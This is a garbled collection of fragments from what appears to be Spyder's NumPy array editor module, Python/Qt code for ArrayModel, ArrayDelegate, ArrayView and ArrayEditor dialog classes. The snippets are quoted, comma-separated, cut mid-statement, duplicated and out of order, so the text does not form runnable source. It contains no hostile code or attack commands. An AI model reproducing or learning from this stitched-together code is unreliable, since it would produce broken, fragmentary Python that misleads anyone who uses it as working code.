self.stack.addWidget(ArrayEditorWidget(self, self.data)) self.dim_indexes[self.last_dim][data_index] = stack_index", "ArrayModel(QAbstractTableModel): \"\"\"Array Editor Table Model\"\"\" ROWS_TO_LOAD = 500 COLS_TO_LOAD =", "self._format = format self.total_rows = self._data.shape[0] self.total_cols = self._data.shape[1] size", "self.selectionModel().ClearAndSelect) except NameError: # Needed to handle a NameError while", "createEditor(self, parent, option, index): \"\"\"Create editor widget\"\"\" model = index.model()", "enable the save and close button.\"\"\" if self.btn_save_and_close: self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True)", "if is_masked_array: label = QLabel(_(\"<u>Warning</u>: changes are applied separately\")) label.setToolTip(_(\"For", "'%.6g', 'float16': '%.6g', 'float32': '%.6g', 'float64': '%.6g', 'float96': '%.6g', 'float128':", "return True else: return False if columns: if self.total_cols >", "self.data.shape = self.old_data_shape def reject_changes(self): \"\"\"Reject changes\"\"\" if self.old_data_shape is", "def get_data(self): \"\"\"Return data\"\"\" return self._data def set_format(self, format): \"\"\"Change", "when the total size, number of rows or number of", "max(rows), min(cols), max(cols) ) #============================================================================== # Main classes #============================================================================== class", "\"\"\"Resize cells to contents\"\"\" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents() self.model().fetch_more(columns=True) self.resizeColumnsToContents() QApplication.restoreOverrideCursor() def", "attribute return self.data def error(self, message): \"\"\"An error occured, closing", "QDoubleValidator(editor) validator.setLocale(QLocale('C')) editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor) return editor def commitAndCloseEditor(self): \"\"\"Commit and", "when launched self.current_dim_changed(self.last_dim) else: ra_combo = QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names) btn_layout.addWidget(ra_combo)", "btn_layout = QHBoxLayout() if is_record_array or is_masked_array or data.ndim ==", "'int64': '%d', 'ubyte': '%d', 'ushort': '%d', 'uintc': '%d', 'uint': '%d',", "whole thing col_max = self.model().total_cols-1 if row_min == 0 and", "i in index_list])) return ( min(rows), max(rows), min(cols), max(cols) )", "<= self.cols_loaded: return self.total_cols else: return self.cols_loaded def rowCount(self, qindex=QModelIndex()):", "self.vmin = None self.vmax = None self.hue0 = None self.dhue", "Qt C++ object as it has probably # already been", "= None if len(self.data.shape) == 1: self.old_data_shape = self.data.shape self.data.shape", "self.cols_loaded = self.COLS_TO_LOAD else: self.cols_loaded = self.total_cols def get_format(self): \"\"\"Return", "format\"\"\" # Avoid accessing the private attribute _format from outside", "object as it has probably # already been destroyed, due", "model = index.model() value = model.get_value(index) if model._data.dtype.name == \"bool\":", "segfault with PyQt5. Variable value won't be changed # but", "self.rows_loaded = self.ROWS_TO_LOAD else: self.rows_loaded = self.total_rows if self.total_cols >", "QModelIndex) def save_and_close_enable(self, left_top, bottom_right): \"\"\"Handle the data change event", "def fetch_more(self, rows=False, columns=False): if self.can_fetch_more(rows=rows): reminder = self.total_rows -", "elif role == Qt.BackgroundColorRole and self.bgcolor_enabled \\ and value is", "not None and len(xlabels) != self.data.shape[1]: self.error(_(\"The 'xlabels' argument length", "% data.dtype.name self.error(_(\"%s are currently not supported\") % arr) return", "self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(), self.rows_loaded, self.rows_loaded + items_to_fetch - 1) self.rows_loaded +=", "if orientation == Qt.Horizontal else self.ylabels if labels is None:", "readonly=False, parent=None): QAbstractTableModel.__init__(self) self.dialog = parent self.changes = {} self.xlabels", "__init__(self, dtype, parent=None): QItemDelegate.__init__(self, parent) self.dtype = dtype def createEditor(self,", "False if ylabels is not None and len(ylabels) != self.data.shape[0]:", "self.old_data_shape = self.data.shape self.data.shape = (self.data.shape[0], 1) elif len(self.data.shape) ==", "if row_min == 0 and row_max == (self.model().rows_loaded-1): row_max =", "display format\"\"\" format, valid = QInputDialog.getText(self, _( 'Format'), _( \"Float", "thus leading to # a segmentation fault on UNIX or", "return False if ylabels is not None and len(ylabels) !=", "to give the same behavior as slicing \"\"\" string_index =", "fault on UNIX or an application crash on Windows self.setAttribute(Qt.WA_DeleteOnClose)", "= min(reminder, self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(), self.cols_loaded, self.cols_loaded + items_to_fetch - 1)", "%s\" % str(e)) return False try: self.test_array[0] = val #", "menu\"\"\" self.copy_action = create_action(self, _('Copy'), shortcut=keybinding('Copy'), icon=ima.icon('editcopy'), triggered=self.copy, context=Qt.WidgetShortcut) menu", "self.data.shape = (self.data.shape[0], 1) elif len(self.data.shape) == 0: self.old_data_shape =", "= old_cols_loaded = None if rows and value == self.verticalScrollBar().maximum():", "in one axis self.stack.addWidget(ArrayEditorWidget(self, self.data)) self.dim_indexes[self.last_dim][data_index] = stack_index self.stack.update() self.stack.setCurrentIndex(stack_index)", "complete column selected (so expand it to match # updated", "content\"\"\" if not index.isValid(): return to_qvariant() value = self.get_value(index) if", "has probably # already been destroyed, due to the Qt.WA_DeleteOnClose", "self.total_cols = self._data.shape[1] size = self.total_rows * self.total_cols try: self.vmin", "self.beginInsertColumns(QModelIndex(), self.cols_loaded, self.cols_loaded + items_to_fetch - 1) self.cols_loaded += items_to_fetch", "'%d', 'uint8': '%d', 'uint16': '%d', 'uint32': '%d', 'uint64': '%d', 'bool_':", "= ['%i']*3 string_size[index] = '<font color=red>%i</font>' self.shape_label.setText(('Shape: (' + ',", "if value is np.ma.masked: return '' else: try: return to_qvariant(self._format", "except (TypeError, ValueError): self.vmin = None self.vmax = None self.hue0", "role=Qt.DisplayRole): \"\"\"Cell content\"\"\" if not index.isValid(): return to_qvariant() value =", "self.cols_loaded += items_to_fetch self.endInsertColumns() def bgcolor(self, state): \"\"\"Toggle backgroundcolor\"\"\" self.bgcolor_enabled", "btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents) bgcolor = QCheckBox(_( 'Background color')) bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor)", "self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit')) if title: title = to_text_string(title) + \" -", "a copy\"\"\" # It is import to avoid accessing Qt", "= None self.btn_save_and_close = None self.btn_close = None # Values", "TypeError: self.readonly = True return repr(value) elif role == Qt.TextAlignmentRole:", "self.sat = .7 # Saturation self.val = 1. # Value", "np.ma.masked: return '' else: try: return to_qvariant(self._format % value) except", "updated range) bottom = self.model().rows_loaded-1 left = part.left() right =", "= data self._format = format self.total_rows = self._data.shape[0] self.total_cols =", "btn_layout.addWidget(self.slicing_label) # set the widget to display when launched self.current_dim_changed(self.last_dim)", "if columns: if self.total_cols > self.cols_loaded: return True else: return", "else: return False def fetch_more(self, rows=False, columns=False): if self.can_fetch_more(rows=rows): reminder", "event.accept() def keyPressEvent(self, event): \"\"\"Reimplement Qt method\"\"\" if event ==", "ylabels)) self.arraywidget = self.stack.currentWidget() if self.arraywidget: self.arraywidget.model.dataChanged.connect( self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack,", "except ValueError: val = value.lower() == \"true\" elif dtype.startswith(\"string\") or", "self.vmax = None self.hue0 = None self.dhue = None self.bgcolor_enabled", "data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self, data[name], readonly, xlabels, ylabels)) elif is_masked_array: self.stack.addWidget(ArrayEditorWidget(self, data,", "0 for k in range(shape[1]): total_width += self.columnWidth(k) self.viewport().resize(min(total_width, 1024),", "self.horizontalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, columns=True)) self.verticalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, rows=True))", "self.model().cols_loaded-1 top_left = self.model().index(top, left) bottom_right = self.model().index(bottom, right) part", "to_text_string(value, 'utf8') except: pass if role == Qt.DisplayRole: if value", "total size, number of rows or number of # columns", "\"number\")) return False if not is_record_array: dtn = data.dtype.name if", "in range(self.stack.count()): self.stack.widget(index).accept_changes() QDialog.accept(self) def get_value(self): \"\"\"Return modified array --", "self.stack.widget(index).accept_changes() QDialog.accept(self) def get_value(self): \"\"\"Return modified array -- this is", "ArrayEditorWidget(QWidget): def __init__(self, parent, data, readonly=False, xlabels=None, ylabels=None): QWidget.__init__(self, parent)", "QCheckBox, QComboBox, QDialog, QDialogButtonBox, QGridLayout, QHBoxLayout, QInputDialog, QItemDelegate, QLabel, QLineEdit,", "QMessageBox, QPushButton, QSpinBox, QStackedWidget, QTableView, QVBoxLayout, QWidget) import numpy as", "= value.lower() == \"true\" elif dtype.startswith(\"string\") or dtype.startswith(\"bytes\"): val =", "\"\"\"Copy an array portion to a unicode string\"\"\" if not", "+ _('read only') + ')' self.setWindowTitle(title) self.resize(600, 500) # Stack", "(float(self.vmax) - self.color_func(value)) / (float(self.vmax) - self.vmin)) hue = float(np.abs(hue))", "items_to_fetch - 1) self.cols_loaded += items_to_fetch self.endInsertColumns() def bgcolor(self, state):", "Qt.ItemIsEnabled return Qt.ItemFlags(QAbstractTableModel.flags(self, index)| Qt.ItemIsEditable) def headerData(self, section, orientation, role=Qt.DisplayRole):", "\"\"\"Copy text to clipboard\"\"\" cliptxt = self._sel_to_text( self.selectedIndexes() ) clipboard", "== (old_cols_loaded-1)): # compete row selected (so expand it to", "None # Values for 3d array editor self.dim_indexes = [{},", "return elif value is not np.ma.masked: editor = QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA))", "self.btn_save_and_close = None self.btn_close = None # Values for 3d", "Delegate\"\"\" def __init__(self, dtype, parent=None): QItemDelegate.__init__(self, parent) self.dtype = dtype", "self.error(_(\"The 'ylabels' argument length do no match array row \"", "right = part.right() if (old_cols_loaded is not None and left", "= self.xlabels if orientation == Qt.Horizontal else self.ylabels if labels", "elif value is not np.ma.masked: editor = QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter)", "value == self.horizontalScrollBar().maximum(): old_cols_loaded = self.model().cols_loaded self.model().fetch_more(columns=columns) if old_rows_loaded is", "self.model = ArrayModel(self.data, format=format, xlabels=xlabels, ylabels=ylabels, readonly=readonly, parent=self) self.view =", "vice-versa).\")) btn_layout.addWidget(label) btn_layout.addStretch() if not readonly: self.btn_save_and_close = QPushButton(_('Save and", "parent=self) self.view = ArrayView(self, self.model, data.dtype, data.shape) btn_layout = QHBoxLayout()", "self.total_rows > self.rows_loaded: return True else: return False if columns:", "fields:\"))) names = [] for name in data.dtype.names: field =", "# Value self.alp = .6 # Alpha-channel self._data = data", "menu = QMenu(self) add_actions(menu, [self.copy_action, ]) return menu def contextMenuEvent(self,", "in sip. try: self.commitData.emit(editor) except AttributeError: pass self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint) def", "is_binary_string(value): try: value = to_text_string(value, 'utf8') except: pass if role", "config_shortcut(self.copy, context='variable_explorer', name='copy', parent=self) self.horizontalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, columns=True)) self.verticalScrollBar().valueChanged.connect(", "be formatted with '%s' (see below) SUPPORTED_FORMATS = { 'single':", "self.index_spin = QSpinBox(self, keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget) # QComboBox names = [str(i)", "'single': '%.6g', 'double': '%.6g', 'float_': '%.6g', 'longfloat': '%.6g', 'float16': '%.6g',", "import numpy as np # Local imports from spyder.config.base import", "self.vmin: self.vmin = val return True def flags(self, index): \"\"\"Set", "cols = list(zip(*[(i.row(), i.column()) for i in index_list])) return (", "role=Qt.DisplayRole): \"\"\"Set header data\"\"\" if role != Qt.DisplayRole: return to_qvariant()", "except AttributeError: pass self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint) def setEditorData(self, editor, index): \"\"\"Set", "output.getvalue().decode('utf-8') output.close() return contents @Slot() def copy(self): \"\"\"Copy text to", "xlabels=None, ylabels=None): QWidget.__init__(self, parent) self.data = data self.old_data_shape = None", "min(cols), max(cols) ) #============================================================================== # Main classes #============================================================================== class ArrayModel(QAbstractTableModel):", "is currently 0 it does not emit # currentIndexChanged(int) self.change_active_widget(0)", "part if data.dtype in (np.complex64, np.complex128): self.color_func = np.abs else:", "if labels is None: return to_qvariant(int(section)) else: return to_qvariant(labels[section]) def", "1) elif len(self.data.shape) == 0: self.old_data_shape = self.data.shape self.data.shape =", "j = index.column() value = from_qvariant(value, str) dtype = self._data.dtype.name", "self.total_rows <= self.rows_loaded: return self.total_rows else: return self.rows_loaded def can_fetch_more(self,", "QKeySequence from qtpy.QtWidgets import (QAbstractItemDelegate, QApplication, QCheckBox, QComboBox, QDialog, QDialogButtonBox,", "index): \"\"\"Create editor widget\"\"\" model = index.model() value = model.get_value(index)", "btn = QPushButton(_( \"Format\")) # disable format button for int", "else: if value.lower().startswith('e') or value.lower().endswith('e'): return False try: val =", "This change the active axis the array editor is plotting", "self.data = None self.arraywidget = None self.stack = None self.layout", "elif dtype.startswith(\"unicode\") or dtype.startswith(\"str\"): val = to_text_string(value) else: if value.lower().startswith('e')", "+= ' - '+title names.append(text) else: names = [_('Masked data'),", "context=Qt.WidgetShortcut) menu = QMenu(self) add_actions(menu, [self.copy_action, ]) return menu def", "import to avoid accessing Qt C++ object as it has", "(float(self.vmax) - self.vmin)) hue = float(np.abs(hue)) color = QColor.fromHsvF(hue, self.sat,", "slicing \"\"\" string_index = [':']*3 string_index[self.last_dim] = '<font color=red>%i</font>' self.slicing_label.setText((r\"Slicing:", "xlabels=None, ylabels=None, readonly=False, parent=None): QAbstractTableModel.__init__(self) self.dialog = parent self.changes =", "display when launched self.current_dim_changed(self.last_dim) else: ra_combo = QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names)", "not np.ma.masked: try: hue = (self.hue0 + self.dhue * (float(self.vmax)", "'%d', 'uint16': '%d', 'uint32': '%d', 'uint64': '%d', 'bool_': '%r', 'bool8':", "if self.total_rows > LARGE_NROWS: self.rows_loaded = self.ROWS_TO_LOAD else: self.rows_loaded =", "self.readonly: return False i = index.row() j = index.column() value", "= QCheckBox(_( 'Background color')) bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor) layout =", "Handle arrays of size 0 in one axis self.stack.addWidget(ArrayEditorWidget(self, self.data))", "LARGE_NROWS = 1e5 LARGE_COLS = 60 #============================================================================== # Utility functions", "dtype is a number kind\"\"\" return is_float(dtype) or ('int' in", "self.old_data_shape def reject_changes(self): \"\"\"Reject changes\"\"\" if self.old_data_shape is not None:", "to layout label = QLabel(_(\"Axis:\")) btn_layout.addWidget(label) btn_layout.addWidget(ra_combo) self.shape_label = QLabel()", "was not possible to copy values for \" \"this array\"))", "LARGE_COLS: self.cols_loaded = self.COLS_TO_LOAD else: self.cols_loaded = self.total_cols def get_format(self):", "dtn.startswith('unicode'): arr = _(\"%s arrays\") % data.dtype.name self.error(_(\"%s are currently", "is plotting over in 3D \"\"\" self.last_dim = index string_size", "from spyder.config.fonts import DEFAULT_SMALL_DELTA from spyder.config.gui import get_font, config_shortcut from", "a float kind\"\"\" return ('float' in dtype.name) or dtype.name in", "QLabel, QLineEdit, QMenu, QMessageBox, QPushButton, QSpinBox, QStackedWidget, QTableView, QVBoxLayout, QWidget)", "> self.rows_loaded: return True else: return False if columns: if", "self.cols_loaded: return self.total_cols else: return self.cols_loaded def rowCount(self, qindex=QModelIndex()): \"\"\"Array", "self.model, data.dtype, data.shape) btn_layout = QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft) btn = QPushButton(_(", "False self.layout = QGridLayout() self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit')) if title: title =", "changed anything, update selection new_selection = QItemSelection() for part in", "array\") else: title = _(\"Array editor\") if readonly: title +=", "= part.bottom() if (old_rows_loaded is not None and top ==", "repr(title) text += ' - '+title names.append(text) else: names =", "Exception eventually except OverflowError as e: print(\"OverflowError: \" + str(e))", "True return repr(value) elif role == Qt.TextAlignmentRole: return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif", "self.copy_action = create_action(self, _('Copy'), shortcut=keybinding('Copy'), icon=ima.icon('editcopy'), triggered=self.copy, context=Qt.WidgetShortcut) menu =", "= self.model().get_data() if PY3: output = io.BytesIO() else: output =", "= 0 # Adjust this for changing the startup dimension", "fetch_more(self, rows=False, columns=False): if self.can_fetch_more(rows=rows): reminder = self.total_rows - self.rows_loaded", "True is datatype dtype is a number kind\"\"\" return is_float(dtype)", "save_and_close_enable(self, left_top, bottom_right): \"\"\"Handle the data change event to enable", "emit # currentIndexChanged(int) self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1) @Slot() def accept(self): \"\"\"Reimplement", "self.dialog = parent self.changes = {} self.xlabels = xlabels self.ylabels", "if rows and value == self.verticalScrollBar().maximum(): old_rows_loaded = self.model().rows_loaded self.model().fetch_more(rows=rows)", "'%r', 'complex64': '%r', 'complex128': '%r', 'complex192': '%r', 'complex256': '%r', 'byte':", "= np.nanmin(self.color_func(data)) self.vmax = np.nanmax(self.color_func(data)) if self.vmax == self.vmin: self.vmin", "color')) bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor) layout = QVBoxLayout() layout.addWidget(self.view) layout.addLayout(btn_layout)", "paging when the total size, number of rows or number", "index): \"\"\"Set editable flag\"\"\" if not index.isValid(): return Qt.ItemIsEnabled return", "labels is None: return to_qvariant(int(section)) else: return to_qvariant(labels[section]) def reset(self):", "self.stack = None self.layout = None self.btn_save_and_close = None self.btn_close", "in Spyder), thus leading to # a segmentation fault on", "changes\"\"\" for (i, j), value in list(self.model.changes.items()): self.data[i, j] =", "DEFAULT_SMALL_DELTA from spyder.config.gui import get_font, config_shortcut from spyder.py3compat import (io,", "the array editor is plotting over in 3D \"\"\" self.last_dim", "self._format = format self.reset() def columnCount(self, qindex=QModelIndex()): \"\"\"Array column number\"\"\"", "\"\"\"Set editor widget's data\"\"\" text = from_qvariant(index.model().data(index, Qt.DisplayRole), str) editor.setText(text)", "not possible to copy values for \" \"this array\")) return", "= QVBoxLayout() layout.addWidget(self.view) layout.addLayout(btn_layout) self.setLayout(layout) def accept_changes(self): \"\"\"Accept changes\"\"\" for", "QAbstractTableModel.__init__(self) self.dialog = parent self.changes = {} self.xlabels = xlabels", "== Qt.DisplayRole: if value is np.ma.masked: return '' else: try:", "None: self.data.shape = self.old_data_shape def change_format(self): \"\"\"Change display format\"\"\" format,", "# currentIndexChanged(int) self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1) @Slot() def accept(self): \"\"\"Reimplement Qt", "data.ndim == 3: # QSpinBox self.index_spin = QSpinBox(self, keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget)", "self.selectionModel().select (new_selection, self.selectionModel().ClearAndSelect) except NameError: # Needed to handle a", "return False if data is not supported, True otherwise \"\"\"", "self.stack.addWidget(ArrayEditorWidget(self, data.mask, readonly, xlabels, ylabels)) elif data.ndim == 3: pass", "to match updated # range) right = self.model().cols_loaded-1 top_left =", "except: QMessageBox.warning(self, _(\"Warning\"), _(\"It was not possible to copy values", "Spyder won't crash. It seems generated by a bug in", "self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot() def reject(self): \"\"\"Reimplement Qt method\"\"\" if self.arraywidget", "segmentation fault on UNIX or an application crash on Windows", "editor is plotting over in 3D \"\"\" self.last_dim = index", "= _(\"Array editor\") if readonly: title += ' (' +", "* (float(self.vmax) - self.color_func(value)) / (float(self.vmax) - self.vmin)) hue =", "and bottom == (old_rows_loaded-1)): # complete column selected (so expand", "self.verticalScrollBar().maximum(): old_rows_loaded = self.model().rows_loaded self.model().fetch_more(rows=rows) if columns and value ==", "# pylint: disable=R0911 # pylint: disable=R0201 # Standard library imports", "value = self._data[j] else: value = self._data[i, j] return self.changes.get((i,", "self.model().total_rows-1 _data = self.model().get_data() if PY3: output = io.BytesIO() else:", "# Hue self.sat = .7 # Saturation self.val = 1.", "dimension def setup_and_check(self, data, title='', readonly=False, xlabels=None, ylabels=None): \"\"\" Setup", "self.total_rows > LARGE_NROWS: self.rows_loaded = self.ROWS_TO_LOAD else: self.rows_loaded = self.total_rows", "it does not emit # currentIndexChanged(int) self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1) @Slot()", "already been destroyed, due to the Qt.WA_DeleteOnClose attribute return self.data", "np.complex128): self.color_func = np.abs else: self.color_func = np.real # Backgroundcolor", "\"\"\"Array Editor Table Model\"\"\" ROWS_TO_LOAD = 500 COLS_TO_LOAD = 40", "current format\"\"\" # Avoid accessing the private attribute _format from", "spyder.config.fonts import DEFAULT_SMALL_DELTA from spyder.config.gui import get_font, config_shortcut from spyder.py3compat", "is a float kind\"\"\" return ('float' in dtype.name) or dtype.name", "< self.vmin: self.vmin = val return True def flags(self, index):", "{ 'single': '%.6g', 'double': '%.6g', 'float_': '%.6g', 'longfloat': '%.6g', 'float16':", "is None: stack_index = self.stack.count() try: self.stack.addWidget(ArrayEditorWidget( self, self.data[tuple(slice_index)])) except", "unicode string\"\"\" if not cell_range: return row_min, row_max, col_min, col_max", "outside return self._format def get_data(self): \"\"\"Return data\"\"\" return self._data def", "arrays of size 0 in one axis self.stack.addWidget(ArrayEditorWidget(self, self.data)) self.dim_indexes[self.last_dim][data_index]", "to clipboard\"\"\" cliptxt = self._sel_to_text( self.selectedIndexes() ) clipboard = QApplication.clipboard()", "False try: self.test_array[0] = val # will raise an Exception", "# will raise an Exception eventually except OverflowError as e:", "the terms of the MIT License # (see spyder/__init__.py for", "numpy as np # Local imports from spyder.config.base import _", "__init__(self, parent=None): QDialog.__init__(self, parent) # Destroying the C++ object right", "self.arraywidget is not None: for index in range(self.stack.count()): self.stack.widget(index).reject_changes() QDialog.reject(self)", "\"\"\"Setup context menu\"\"\" self.copy_action = create_action(self, _('Copy'), shortcut=keybinding('Copy'), icon=ima.icon('editcopy'), triggered=self.copy,", "\"\"\"Toggle backgroundcolor\"\"\" self.bgcolor_enabled = state > 0 self.reset() def get_value(self,", "= self.stack.count() try: self.stack.addWidget(ArrayEditorWidget( self, self.data[tuple(slice_index)])) except IndexError: # Handle", "None self.hue0 = None self.dhue = None self.bgcolor_enabled = False", "# QComboBox names = [str(i) for i in range(3)] ra_combo", "handling negative values in index for 3d arrays, to give", "huerange[0] self.dhue = huerange[1]-huerange[0] self.bgcolor_enabled = True except (TypeError, ValueError):", "= index.column() value = from_qvariant(value, str) dtype = self._data.dtype.name if", "\"\"\" This is implemented for handling negative values in index", "readonly=False, xlabels=None, ylabels=None): QWidget.__init__(self, parent) self.data = data self.old_data_shape =", "by a bug in sip. try: self.commitData.emit(editor) except AttributeError: pass", "parent=None): QItemDelegate.__init__(self, parent) self.dtype = dtype def createEditor(self, parent, option,", "QItemDelegate.__init__(self, parent) self.dtype = dtype def createEditor(self, parent, option, index):", "== 1: self.old_data_shape = self.data.shape self.data.shape = (self.data.shape[0], 1) elif", "self.last_dim = index string_size = ['%i']*3 string_size[index] = '<font color=red>%i</font>'", "= self.total_cols def get_format(self): \"\"\"Return current format\"\"\" # Avoid accessing", "if data.ndim > 3: self.error(_(\"Arrays with more than 3 dimensions", "spyder.py3compat import (io, is_binary_string, is_string, is_text_string, PY3, to_binary_string, to_text_string) from", "if self.total_rows > self.rows_loaded: return True else: return False if", "return Qt.ItemFlags(QAbstractTableModel.flags(self, index)| Qt.ItemIsEditable) def headerData(self, section, orientation, role=Qt.DisplayRole): \"\"\"Set", "'%.6g', 'float96': '%.6g', 'float128': '%.6g', 'csingle': '%r', 'complex_': '%r', 'clongfloat':", "val.real except ValueError as e: QMessageBox.critical(self.dialog, \"Error\", \"Value error: %s\"", "types it will be the real part if data.dtype in", "setup_and_check(self, data, title='', readonly=False, xlabels=None, ylabels=None): \"\"\" Setup ArrayEditor: return", "np.array([0], dtype=data.dtype) # for complex numbers, shading will be based", "(TypeError, ValueError): self.vmin = None self.vmax = None self.hue0 =", "else: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.arraywidget = self.stack.currentWidget() if", "will be based on absolute value # but for all", "if xlabels is not None and len(xlabels) != self.data.shape[1]: self.error(_(\"The", "and value is not np.ma.masked: try: hue = (self.hue0 +", "if len(self._data.shape) == 1: value = self._data[j] else: value =", "columns is too large if size > LARGE_SIZE: self.rows_loaded =", "columnCount(self, qindex=QModelIndex()): \"\"\"Array column number\"\"\" if self.total_cols <= self.cols_loaded: return", "elif len(self.data.shape) == 0: self.old_data_shape = self.data.shape self.data.shape = (1,", "QPushButton(_( \"Format\")) # disable format button for int type btn.setEnabled(is_float(data.dtype))", "clipboard.setText(cliptxt) class ArrayEditorWidget(QWidget): def __init__(self, parent, data, readonly=False, xlabels=None, ylabels=None):", "self.data.shape = (1, 1) format = SUPPORTED_FORMATS.get(data.dtype.name, '%s') self.model =", "btn_layout.addWidget(btn) btn.clicked.connect(self.change_format) btn = QPushButton(_( \"Resize\")) btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents) bgcolor =", "if dtn not in SUPPORTED_FORMATS and not dtn.startswith('str') \\ and", "we've changed anything, update selection new_selection = QItemSelection() for part", "the value is currently 0 it does not emit #", "\" - \" + _(\"NumPy array\") else: title = _(\"Array", "disable=R0201 # Standard library imports from __future__ import print_function #", "be the real part if data.dtype in (np.complex64, np.complex128): self.color_func", "= model.get_value(index) if model._data.dtype.name == \"bool\": value = not value", "return to_qvariant(int(section)) else: return to_qvariant(labels[section]) def reset(self): self.beginResetModel() self.endResetModel() class", "(old_rows_loaded-1)): # complete column selected (so expand it to match", "if self.btn_save_and_close: self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True) def current_widget_changed(self, index): self.arraywidget =", "= val self.dataChanged.emit(index, index) if not is_string(val): if val >", "False # Use paging when the total size, number of", "for part in old_selection: top = part.top() bottom = part.bottom()", "the startup dimension def setup_and_check(self, data, title='', readonly=False, xlabels=None, ylabels=None):", "'%d', 'uint32': '%d', 'uint64': '%d', 'bool_': '%r', 'bool8': '%r', 'bool':", "self.stack.addWidget(ArrayEditorWidget(self, data[name], readonly, xlabels, ylabels)) elif is_masked_array: self.stack.addWidget(ArrayEditorWidget(self, data, readonly,", "editor\"), message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot() def reject(self): \"\"\"Reimplement Qt method\"\"\"", "= self.old_data_shape def reject_changes(self): \"\"\"Reject changes\"\"\" if self.old_data_shape is not", "QMessageBox.critical(self, _(\"Error\"), _(\"Format (%s) is incorrect\") % format) return self.model.set_format(format)", "if len(field) >= 3: title = field[2] if not is_text_string(title):", "\"\"\"Array Editor Item Delegate\"\"\" def __init__(self, dtype, parent=None): QItemDelegate.__init__(self, parent)", "is not None and len(xlabels) != self.data.shape[1]: self.error(_(\"The 'xlabels' argument", "index) if index < 0: data_index = self.data.shape[self.last_dim] + index", "dtype, parent=None): QItemDelegate.__init__(self, parent) self.dtype = dtype def createEditor(self, parent,", "== \"bool\": try: val = bool(float(value)) except ValueError: val =", "'<font color=red>%i</font>' self.shape_label.setText(('Shape: (' + ', '.join(string_size) + ') ')", "# otherwise it may be garbage-collected in another QThread #", "= None self.vmax = None self.hue0 = None self.dhue =", "array editor self.dim_indexes = [{}, {}, {}] self.last_dim = 0", "QMessageBox.critical(self.dialog, \"Error\", \"Value error: %s\" % str(e)) return False try:", "Destroying the C++ object right after closing the dialog box,", "Windows self.setAttribute(Qt.WA_DeleteOnClose) self.data = None self.arraywidget = None self.stack =", "header data\"\"\" if role != Qt.DisplayRole: return to_qvariant() labels =", "= self._data.shape[1] size = self.total_rows * self.total_cols try: self.vmin =", "qtpy.compat import from_qvariant, to_qvariant from qtpy.QtCore import (QAbstractTableModel, QItemSelection, QLocale,", "no match array row \" \"number\")) return False if not", "from_qvariant(index.model().data(index, Qt.DisplayRole), str) editor.setText(text) #TODO: Implement \"Paste\" (from clipboard) feature", "load_more_data(self, value, rows=False, columns=False): try: old_selection = self.selectionModel().selection() old_rows_loaded =", "return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif role == Qt.BackgroundColorRole and self.bgcolor_enabled \\ and", "QItemDelegate, QLabel, QLineEdit, QMenu, QMessageBox, QPushButton, QSpinBox, QStackedWidget, QTableView, QVBoxLayout,", "QMenu(self) add_actions(menu, [self.copy_action, ]) return menu def contextMenuEvent(self, event): \"\"\"Reimplement", "class ArrayModel(QAbstractTableModel): \"\"\"Array Editor Table Model\"\"\" ROWS_TO_LOAD = 500 COLS_TO_LOAD", "self.ROWS_TO_LOAD else: self.rows_loaded = self.total_rows if self.total_cols > LARGE_COLS: self.cols_loaded", "# Use paging when the total size, number of rows", "text = name if len(field) >= 3: title = field[2]", "is import to avoid accessing Qt C++ object as it", "text = from_qvariant(index.model().data(index, Qt.DisplayRole), str) editor.setText(text) #TODO: Implement \"Paste\" (from", "reject_changes(self): \"\"\"Reject changes\"\"\" if self.old_data_shape is not None: self.data.shape =", "size, number of rows or number of # columns is", "value if self.old_data_shape is not None: self.data.shape = self.old_data_shape def", "if self.can_fetch_more(columns=columns): reminder = self.total_cols - self.cols_loaded items_to_fetch = min(reminder,", "elif role == Qt.TextAlignmentRole: return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif role == Qt.BackgroundColorRole", "def reset(self): self.beginResetModel() self.endResetModel() class ArrayDelegate(QItemDelegate): \"\"\"Array 